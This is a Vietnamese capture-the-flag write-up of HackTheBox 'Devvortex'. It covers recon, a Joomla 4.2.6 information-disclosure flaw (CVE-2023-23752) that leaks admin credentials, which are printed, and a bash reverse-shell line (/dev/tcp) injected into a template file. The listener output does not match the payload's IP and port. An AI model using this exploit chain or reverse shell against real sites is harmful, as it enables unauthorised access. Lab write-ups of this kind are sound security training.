- vừa được xem lúc

[Write-up] Hackthebox Devvortex. Joomla: Nhiều tiện ích đi cùng với rủi ro bảo mật

0 0 5

Người đăng: Phạm Hiếu

Theo Viblo Asia

Giới thiệu

Nếu directory scan mà không có kết quả gì thì ta sẽ làm gì ? Đây sẽ là câu hỏi khi chúng ta làm bài này. Ngoài ra bài còn giới thiệu cho chúng ta về Joomla, nó cung cấp cho ta khả năng quản lý những nội dung hiển thị trên ứng dụng web, nhưng với những tiện ích mà nó mang lại thì cũng có 1 số điểm hổng mà chúng ta cần xem xét khi thực hiện làm bài này.

1. Recon

Thực hiện Nmap với đầu vào là IP được cấp

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV 10.10.11.242
[sudo] password for kali: Starting Nmap 7.92 ( https://nmap.org ) at 2023-12-19 03:08 EST
Nmap scan report for 10.10.11.242
Host is up (0.51s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: | 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.49 seconds

Chúng ta có được 2 cổng dịch đang mở là 22:ssh và 80:http

Thêm tên 10.10.11.242 http://devvortex.htb/ vào /etc/hosts

2. Enum

Thực hiện Directory scan với http://devvortex.htb/ thì không mang lại kết quả ngoài mấy thư mục js, css, không thể truy cập được.

Tiếp theo thực hiện Subdomain scan với ffuf

┌──(kali㉿kali)-[~/aaaa]
└─$ ffuf -c -ic -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://devvortex.htb -H "HOST:FUZZ.devvortex.htb" -fs 154 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.5.0 Kali Exclusive <3
________________________________________________ :: Method : GET :: URL : http://devvortex.htb :: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt :: Header : Host: FUZZ.devvortex.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500 :: Filter : Response size: 154
________________________________________________ dev [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 100ms]
:: Progress: [4989/4989] :: Job [1/1] :: 263 req/sec :: Duration: [0:00:11] :: Errors: 0 ::

Tìm được subdomain là dev , thêm dev.devvortex.htb vào trong /etc/hosts

Thử truy cập vào robots.txt

Sau khi Directory scan thì cũng chỉ được những path như trên robots.txt, truy cập vào những đường dẫn ngoài /administrator đều bị 404

Truy cập vào /administrator thì là 1 trang đăng nhập vào trang quản trị của Joomla

Và như vậy biết được Server đang chạy php và CMS Joomla. Thử tìm kiếm tài khoản, mật khẩu mặc định của Joomla nhưng không có tại vì ngày từ khi cài đặt, Joomla bắt quản trị viên phải tạo tài khoản quản trị

Sau khi google thì có thông tin trên Hacktrick biết được với đường dẫn http://dev.devvortex.htb/administrator/manifests/files/joomla.xml có thể biết được version của Joomla

<extension type="file" method="upgrade"> <name>files_joomla</name> <author>Joomla! Project</author> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <copyright>(C) 2019 Open Source Matters, Inc.</copyright> <license> GNU General Public License version 2 or later; see LICENSE.txt </license> <version>4.2.6</version> <creationDate>2022-12</creationDate> <description>FILES_JOOMLA_XML_DESCRIPTION</description> <scriptfile>administrator/components/com_admin/script.php</scriptfile> <update> <schemas> <schemapath type="mysql"> administrator/components/com_admin/sql/updates/mysql </schemapath> <schemapath type="postgresql"> administrator/components/com_admin/sql/updates/postgresql </schemapath> </schemas> </update> <fileset> <files> <folder>administrator</folder> <folder>api</folder> <folder>cache</folder> <folder>cli</folder> <folder>components</folder> <folder>images</folder> <folder>includes</folder> <folder>language</folder> <folder>layouts</folder> <folder>libraries</folder> <folder>media</folder> <folder>modules</folder> <folder>plugins</folder> <folder>templates</folder> <folder>tmp</folder> <file>htaccess.txt</file> <file>web.config.txt</file> <file>LICENSE.txt</file> <file>README.txt</file> <file>index.php</file> </files> </fileset> <updateservers> <server name="Joomla! Core" type="collection"> https://update.joomla.org/core/list.xml </server> </updateservers>
</extension>

Ngoài Joomla có phiên bản là 4.2.6, còn cho ta biết thêm về các file như htaccess, web.config.txt,…

3. Exploit

Sau khi google thì phiên bản này dính CVE-2023-23752, lỗi này là lỗi Information Disclosure ở api:

http://dev.devvortex.htb/api/index.php/v1/config/application?public=true cho ta biết được thông tin tài khoản mật khẩu của quản trị viên

Ở đây tên người dùng là lewis và password là P4ntherg0t1n5r3c0n##

Sau khi truy cập được vào trang quản trị, bắt đầu khai thác bằng cách đi vào System → Templates Sites

Với quyền quản trị viên ta có thể thay đổi các file trong hệ thống. Đầu tiên chúng ta sẽ chọn file /templates/cassiopeia/cassiopeia/error.php để thực hiện khai thác. Đầu tiên thử thêm phpinfo(); ở đầu file để xem kết quả

Thực hiện kiểm tra bằng cách truy cập vào đường dẫn /templates/cassiopeia/cassiopeia/error.php

.

Như vậy có thể kết luận rằng ta có thể thay đổi code php trên này và nó vẫn sẽ chạy bình thường

Sau đó thực hiện thay phpinfo(); bằng câu lệnh mở kết nối với netcat vào trong file error.php

exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.6/4444 0>&1'");

Sử dụng netcat lắng nghe ở máy local

┌──(kali㉿kali)-[~]
└─$ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.10.14.74] from (UNKNOWN) [10.10.11.242] 51754
bash: cannot set terminal process group (860): Inappropriate ioctl for device
bash: no job control in this shell
www-data@devvortex:~/dev.devvortex.htb/templates/cassiopeia/cassiopeia$ ls
ls
component.php
error.php
html
index.php
joomla.asset.json
offline.php
templateDetails.xml
www-data@devvortex:~/dev.devvortex.htb/templates/cassiopeia/cassiopeia$

Kết quả thành công

┌──(kali㉿kali)-[~]
└─$ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.10.14.74] from (UNKNOWN) [10.10.11.242] 47142
bash: cannot set terminal process group (860): Inappropriate ioctl for device
bash: no job control in this shell
www-data@devvortex:~/dev.devvortex.htb/templates/cassiopeia/cassiopeia$ cd /
cd /
www-data@devvortex:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

4. Recommendation

Nên thực hiện theo dõi cũng như cập nhật các phần mềm bên thứ 3 ví dụ ở đây là Joomla

Bình luận

Bài viết tương tự

- vừa được xem lúc

Cài đặt WSL / WSL2 trên Windows 10 để code như trên Ubuntu

Sau vài ba năm mình chuyển qua code trên Ubuntu thì thật không thể phủ nhận rằng mình đã yêu em nó. Cá nhân mình sử dụng Ubuntu để code web thì thật là tuyệt vời.

0 0 376

- vừa được xem lúc

Phân quyền đơn giản với package Laravel permission

Như các bạn đã biết, phân quyền trong một ứng dụng là một phần không thể thiếu trong việc phát triển phần mềm, dù đó là ứng dụng web hay là mobile. Vậy nên, hôm nay mình sẽ giới thiệu một package có thể giúp các bạn phân quyền nhanh và đơn giản trong một website được viết bằng PHP với framework là L

0 0 421

- vừa được xem lúc

Sử dụng Swagger để xây dựng API documentation

Giới thiệu về Swagger. RESTful API là một tiêu chuẩn dùng trong việc thiết kế API cho các ứng dụng web (thiết kế Web services) để tiện cho việc quản lý các resource.

0 0 1k

- vừa được xem lúc

So sánh Interface và Abstract trong lập trình hướng đối tượng.

Tổng quan. Interface và Abstract class là 2 khái niệm cơ bản trong lập trình OOP.

0 0 49

- vừa được xem lúc

CURL và cách sử dụng trong PHP

Giới Thiệu. CURL là bộ thư viện được sử dụng để giúp thực hiện việc chuyển dữ liệu thông qua nhiều giao thức khác nhau (như HTTP, FPT...). Với giao thức HTTP, cURL hỗ trợ việc gửi dữ liệu sử dụng tất cả các phương thức hiện có như GET, POST, PUT, DELETE... cURL cũng hỗ trợ việc chuyền dữ liệu sử dụn

0 0 81

- vừa được xem lúc

Thêm dòng dữ liệu mới (MySQL) trong Laravel

Chào các bạn, Laravel hiện đang là hot trend trong "thế giới PHP". 1. Cấu hình cơ bản ban đầu. .

0 0 38